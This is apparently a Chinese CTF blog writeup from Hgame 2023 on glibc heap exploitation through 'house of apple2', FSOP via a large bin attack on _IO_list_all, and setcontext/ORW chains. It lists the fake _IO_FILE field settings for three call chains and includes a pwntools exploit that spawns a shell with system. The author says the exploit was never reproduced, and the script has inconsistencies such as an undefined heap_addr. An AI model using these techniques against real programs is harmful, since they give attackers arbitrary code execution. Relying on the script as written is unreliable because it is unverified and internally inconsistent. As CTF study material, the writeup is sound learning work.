.text:0000000000050CE5 48 8B 92 88 00 00 00 mov rdx, [rdx+88h]
.text:0000000000050CE5 ; } // starts at 50BA0
.text:0000000000050CEC ; __unwind {
.text:0000000000050CEC 31 C0 xor eax, eax
.text:0000000000050CEE C3 retn

当在堆块布置完chunk,做链子跳转时,rdi的值是目的堆的头指针

因为都是由rdx控制,所以在进gadget之前,先使用magic_gadget,将可控的rdi转换成可控的rdx

保证 rbp >= rsp, 除了 rcx,其他寄存器直接设置为 0

将RCX寄存器的位置布置为ORW链子地址

图解

在这里插入图片描述

house of apple2

house of apple2 & setcontext + 61 & orw

利用原理

https://bbs.kanxue.com/thread-273832.htm#msg_header_h2_1

调试链子

https://blog.csdn.net/m0_63437215/article/details/127914567

利用思路

glibc源码中搜索_IO_WXXXXX函数的调用:可被利用的_IO_WDOALLOCATE,`_IO_WOVERFLOW

通过构造_IO_FILE结构体,设置其中的变量

再触发下面链子中的函数,从而触发IO流,进而控制程序流

三条链子

一:_IO_wfile_overflow函数

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_FILE设置

  1. _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
  2. vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  3. _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  4. _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  5. _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  6. _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  7. _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

二:_IO_wfile_underflow_mmap函数

1
2
3
4
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_FILE设置

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

三:_IO_wdefault_xsgetn函数

1
2
3
4
5
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)

条件:调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0

_IO_FILE设置

  • _flags设置为0x800
  • vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可
  • _mode设置为大于0,即满足*(fp + 0xc0) > 0
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C

模板

  1. large bin attack_IO_list_all——FSOP:劫持_IO_list_all 的值
  2. 伪造链表和其中的_IO_FILE_plus
  3. 通过FSOP执行setcontext, 后执行ORW链

fake_IO
原文链接:https://blog.csdn.net/woodwhale/article/details/128926309

使用FSOP,伪造的_IO_FILE_plus结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def build_fake_file(addr, vtable, _wide_data, rdx=0):
# flag = 0xFBAD2887
# fake_file = p64(flag) # _flags
# fake_file += p64(addr) # _IO_read_ptr
# 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(rdx) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)

fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file

12.4nswer’s gift

原文链接:https://blog.csdn.net/woodwhale/article/details/128926309

没做复现,libc版本编译了三次都不对

Ubuntu GLIBC 2.36-0ubuntu2

分析

vuln(V3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __noreturn vuln()
{
_DWORD size[3]; // [rsp+4h] [rbp-1Ch] BYREF
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);

*(_QWORD *)&size[1] = &malloc + 175652;
printf("4nswer is preparing a gitf for his girfriend, the box of it looks like this: %p\n", &malloc + 175652);
puts("But he don't know what to put into the gift.");
puts("So he need you help.");
puts("How many things do you think is appropriate to put into the gift?");

__isoc99_scanf("%u", size);

puts("What do you think is appropriate to put into the gitf?");

buf = malloc(size[0]);
read(0, buf, (unsigned int)(size[0] - 1));
puts("4nswer purchased things you suggest, and put it into the box.");

**(_QWORD **)&size[1] = buf;
puts("buy~");
exit(0);
}

house of apple1

这一系列链子的核心思想应该是利用一次的large bin attack攻击,劫持_IO_list_all,从而劫持IO流

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc.so.6')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ MENU ----------------------------
def build_fake_file(flag , addr, vtable, _wide_data, rdx=0):
flag = 0xFBAD2887
fake_file = p64(flag) # _flags
fake_file += p64(addr) # _IO_read_ptr
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(rdx) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file


#------------------------ ----------------------------
p.recvuntil(b'0x')

_IO_list_all = int(p.recv(12).ljust(8, b"\x00") , 16)
libc_base = _IO_list_all - libc.sym['_IO_list_all']
heap_base = libc_base - 0x204000

lg('_IO_list_all')
lg('libc_base')
lg('heap_base')

sla("the gift?", str(0x200000))

# dbg();pau()
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]


fs = FileStructure()
fs.flags = b" sh;"
fs.vtable = libc.sym["_IO_wfile_jumps"]
fs._wide_data = heap_addr+0x110
fs._IO_write_ptr = 1
fs._IO_write_base = 0

payload = flat({
0x0: bytes(fs),
0x100: {
0x18: 0,
0x30: 0,
0xe0: heap_addr + 0x210
},
0x200: {
0x68: libc.sym["system"]
}
}, filler = b'\x00')


sa("gitf?", payload+b"\n")


pi()

Hgame_2023
http://csc8.github.io/2023/03/03/Hgame2023/
作者
Csc8
发布于
2023年3月3日
许可协议